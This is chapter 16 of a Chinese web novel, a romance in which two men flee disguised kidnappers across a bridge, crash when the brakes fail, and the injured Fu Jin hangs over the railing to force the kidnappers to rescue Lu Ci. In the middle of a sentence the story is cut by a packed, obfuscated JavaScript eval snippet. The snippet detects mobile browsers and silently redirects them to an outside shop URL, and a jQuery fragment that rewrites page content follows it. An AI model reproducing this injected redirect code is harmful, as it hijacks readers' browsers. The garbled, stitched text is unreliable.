16. 车祸

作品:《渣攻绑定男德系统后

    傅槿在看到许久未见的人时瞳光一亮,又迅速消沉下去,很轻叹口气,侧偏过头不肯再看陆慈。


    他肉眼可见瘦了,比陆慈这辈子初见他时还要瘦,本就清晰的下颌线更加锋利,衬得五官越发冷硬深邃,生人勿近的气场更重。


    陆慈有些犯怵,尤其在看到他手腕佛珠上空荡荡时,心像扎漏的气球,又痛又空。


    “槿哥……”他喉咙发紧,衣角被无意识揉捏得不成样子,想上前又不敢,脚尖在原地转来转去,愣是没迈出去一步。


    自诩高明的骗子没了步步为营的从容。


    傅槿不说话,裴言也不知道该不该走,三个人就在风口耗着。


    陆慈扫过傅槿身上单薄的西装,见他脖颈已经冻得发红,暗骂自己怎么没早点注意到,扼住想抢过轮椅的冲动:“我们……去车上聊吧,别冻着了。”


    说罢,他紧张看向傅槿,眼里满是无意识的真诚乞求。


    傅槿再度被清亮的眼睛注视着,控制不住心软,就要点头时被冷风一吹,立马清醒,真真假假他分辨不清,谁知道陆慈这样看过多少人呢。


    多日的烦躁集中爆发,他周身气压骤跌,示意裴言走。


    陆慈一下子慌了,傅槿拒绝交流在他预料之中,真正发生还是让他一下子理智出走,急得一个箭步冲上前。


    还没说什么,对上傅槿冰冷决绝的视线,他猛地怔住,脑子里成熟的不成熟的措辞都飞了,心也沉入谷底,张着嘴发不出一个音。


    “你学校附近那套房送你,东西我也不要了,丢了就行。”傅槿眼皮垂下,佛珠攥得紧紧的,深吸一口凉气,冻得肺腑都在打颤。


    一口浊气缓缓吐出,他声音似深秋枯黄的落叶般轻:“就这样吧。”


    陆慈突然爆发,一把按住要绕过他离开的轮椅,头摇得跟拨浪鼓一样:“不要!我不要!我不要你走!”


    傅槿目光深沉平静,透着疲惫:“陆慈,我没空陪你玩过家家。”


    他一招手,一旁车里下来几个体型彪健壮的保镖,就要强行将陆慈带走。


    没想到陆慈像是生死关头被逼疯的猎豹,不知道哪来的大力,将近身的两个壮汉推得踉跄好几步,没等傅槿反应过来,一把抱起,塞进副驾驶。


    车子像离弦之箭窜出去。


    上次被傅鸣珂整的阴影让傅槿整个人一激灵,条件反射恶心,陡然放大的声音细听有些抖:“陆慈!你发什么疯!”


    地库弯弯绕绕,车速根本提不上去,陆慈也没想要提速,他不想傅槿难受,只是想和他好好聊聊。


    他是被排挤长大的,低头意味着转弱,意味着要被欺凌,只有比对方更狠,拳头更硬,他们才不敢招惹——没人教过他怎么道歉,怎么挽回。


    “我……”陆慈紧张攥紧方向盘,稳住车速,“我想送你回家……说不定是最后一次了。”


    傅槿白他一眼,重重拉上安全带,电话给后面要包抄营救的保镖车,立马就从反光镜里见他们拉开距离,远远跟着。


    陆慈有几分庆幸,将车速放到下限,迈巴赫像蜗牛一样在路上磨,后面车辆不断鸣笛赶超,他也依旧我行我素。


    “槿哥……”他支吾开口,“我奶奶的医药费……是你付的吗?”


    傅槿格外失望,怎么憋了半天憋出个这个来,平时鬼话连篇,这时候矜持什么?


    他看着窗外秋风卷落叶,默不作声。


    陆慈先前是猜测,现在就是肯定,心里巨石又往下压一分。


    他宁愿欠一个陌生人的,他拼死赚钱也会还上,但不愿意再欠傅槿一分一毫——他欠的够多了。


    他单手从兜里掏出张皱巴巴的纸,傅槿一瞥就见上面工整的“欠条”两个字,气得头疼,不接也不说话。


    陆慈缓慢收回手,将欠条小心放傅槿腿边,又小心收回手:“连本带利一百万,我会还——”


    傅槿恼火,打断他,阴阳怪气:“怎么还?做皮肉生意吗?我真是小瞧你了。”


    想起陆慈在酒吧散发魅力,惹得那么多人疯抢,他就火大。


    陆慈皱眉,后槽牙咬紧,所有人都可以侮辱他,他以为傅槿不一样,懂他的无奈,相信他的为人,没想到他们都一样。


    一会儿置身愤恨的火焰中,一会儿又陷在失望的泥潭里,冷热交替,陆慈不知道该说什么了,任由尴尬和沉默在车厢肆意膨胀。


    车子开上跨江大桥,陆慈突然察觉不对劲,下班高峰期拥挤的车流不知道何时消失了,千米的长桥上只有他们和后面跟着几辆队形整齐的保镖车。


    他手心出一层汗,想起上辈子他的绑架计划来——跨江大桥前提前设置路障,引开其他车,买通保镖,桥上逼停傅槿座驾,绑架。


    刚才地库里他注意力全在傅槿身上,这时候才想起来那几个保镖里就有上辈子和他合作的绑匪!


    他心漏跳一拍,紧张看向傅槿,正要提醒他时,从傅槿充满戒备的眼中看到了一切,无需言说,默契一对视,全力踩下油门加速。


    后面四辆车紧跟着加速,准备左右包抄。


    陆慈余光瞧见傅槿绷紧的下颌,莫名其妙笑了一下,语调轻快又坚定:“没事的,我们能冲出去的。”


    傅槿再次感到在赛车上看到陆慈时的那种心安,脊背放松下来,手碰到那张欠条,他看也不看丢开:“冲出去算你救驾有功,债就平了。”


    “嗯?”陆慈惊奇傅槿这句半玩笑的话,平日里他都死板不会开玩笑,更何况这种危急关头。


    傅槿被他反应逗笑了:“我一条命不值一百万?”


    方才令人窒息的尴尬氛围散了,外面危机四伏,车内却诡异地轻松。


    此时车尾被猛地一撞,陆慈一秒正色,迅速打方向盘躲避,还好只是撞碎了尾灯,不过却被逼到了最内车道上,另外三侧都被死死围住,包围圈在不断变小。


    留给他们的时间不多了。


    两人都不再玩笑,屏着呼吸严阵以待,陆慈握紧方向盘的手一紧再紧,目光炯炯盯着前车,眼底是危险与疯狂,要是他一个人的话用不着犹豫,可是……


    身侧传来轻声却坚定的声音:“撞过去。”


    陆慈不再犹豫,一脚油门下去,直冲着前车而去,这样高的速度毋庸置疑两车都会车毁人亡,前车司机果然慌了,大骂着两个疯子,往边上避开一些。


    陆慈咬紧牙关,瞄准那一米不到的空隙,极限擦着两车车壁冲过去,两侧碰撞和摩擦声刺耳,碎屑乱飞,玻璃碎裂滑过陆慈脸颊,热血上头疼也感觉不到。


    跨江大桥的终点已经能看到,他们就要成功了!


    陆慈松了口气,侧头对傅槿一笑,嘴角还没勾起就僵在脸上——方向盘和刹车失灵了!


    哪怕不踩油门,死命踩刹车,但是速度还是在以疯狂的速度往上飙,仪表盘发出一连串的警报,眼看着他们就要撞上桥沿!


    陆慈瞳孔瞪大,立马转头去看傅槿,见他脸色苍白,失了魂一样双眼瞪大,身体绷紧到剧烈颤抖,双手紧掐着大腿,是肉眼可见的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102920|195755||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恐惧。


    或许是人之将死,欠缺两辈子的善良短暂占领高地,陆慈想起之前傅槿说自己的腿是因为车祸才伤的,他突然感到莫大的悔恨和自责,上辈子傅槿就这样一个人又一次经历了一场车祸吗。


    他不再挣扎,放开方向盘,用劲将傅槿紧攥的拳掰开,手指强硬塞进去,卡进指缝,傅槿攥得他手疼,他也用力回应。


    “对不起……”上辈子没说出来的话,临死前却轻松说出来了。


    他发现这时候他一点也不在意自己的复仇大计是否中道崩殂,也不在意仇人是否还在逍遥,只是懊悔刚才冷战浪费了时间,没好好说会儿话。


    他真心祝愿:“如果有下辈子,希望你别再遇见我了……”


    我也不再纠缠你了。


    傅槿读不懂陆慈眼里的情绪,虽有笑意却渗出浓浓的悲伤,他唯独能感知到陆慈没骗他。


    撞击就要发生前一秒,傅槿反倒心安,突然道:“下辈子你还要给我当狗呢,你跑不掉的。”


    在陆慈的诧异中,车子“砰”一声巨响撞上防护栏,他头撞上安全气囊,一阵天旋地转后,他在脑子里一阵嗡嗡的电流声中短暂失五感。


    再睁开眼时,眼前蒙着一层血色,座椅变形将他身体压成怪异的姿势,像是有人在大力往外拔他,没什么用还牵扯得他四肢百骸疼。


    那人似乎也意识到没用,陆慈听到声绝望无助的呜咽,有只冰凉颤抖的手抚上他的脸,胡乱抹着,陆慈眼前遮挡视线的血一点点消失,他知道这人是在给他擦血。


    剧烈撞击后可能油箱泄漏,发生爆炸,如果有幸没有被困住,应该第一时间逃生,而不是做无谓的努力,救一个罪有应得、活该下地狱的人。


    陆慈扯动嘴角,哭笑不得。


    保镖车上下来个五大三粗的痞子,走得六亲不认,嚣张狂妄:“傅总是吧,劳烦跟我们走一趟,您身娇肉贵的,我们哥几个可不想动粗。”


    傅槿撑着车身站直,一直牵着陆慈的手没松,冷冷盯着一众绑匪,就像是看垃圾一样,眼里满是不屑和蔑视,气场全开,哪怕身处劣势也丝毫不见慌乱。


    “艹!敢看不起老子!”绑匪老大破大防,沙包大的拳头攥得嘎巴响,“那就别怪我们不客气了。”


    傅槿短时间已经明白绑匪冲着他来的,不要他的命,那就是要钱了,凡是用钱能解决的那都不是事。


    只是……


    他低头看眼陆慈,头上还在出血,也不知道别的地方有没有伤到,要是被丢在这里,得不到及时的救治,重则丢掉性命,轻则……


    他按住在抽搐的腿,下定决心不能让陆慈步自己的后尘。


    就在绑匪要触碰到他的一瞬间,他迈开步子向后躲闪,许久没行走过的腿疼得他眼前一黑,踉跄好几步,身后就是车子在桥沿撞出的洞,下面就是汹涌的江水。


    绑匪慌了:“别动别动别动!”


    脚后跟悬空瞬间,傅槿一把抓住护栏,好险停住后退的趋势,半个人落在外面,江风凌虐刮着后背,吹得空荡荡的衬衫烈烈作响。


    只要一放手,必死无疑。


    他却一点也不担心自己的处境,反因为自己拿捏了绑匪而窃喜,命令道:“救他出来,请个医生。”


    绑匪下意识照做,慢了好几拍反应过来:“老子凭什么听你的!”


    傅槿遗憾一耸肩,就要松开手,绑匪真是怕了这两个疯子了,骂骂咧咧合力将陆慈拖出来,护着傅槿离开危险的边缘,往车上一塞,扬长而去。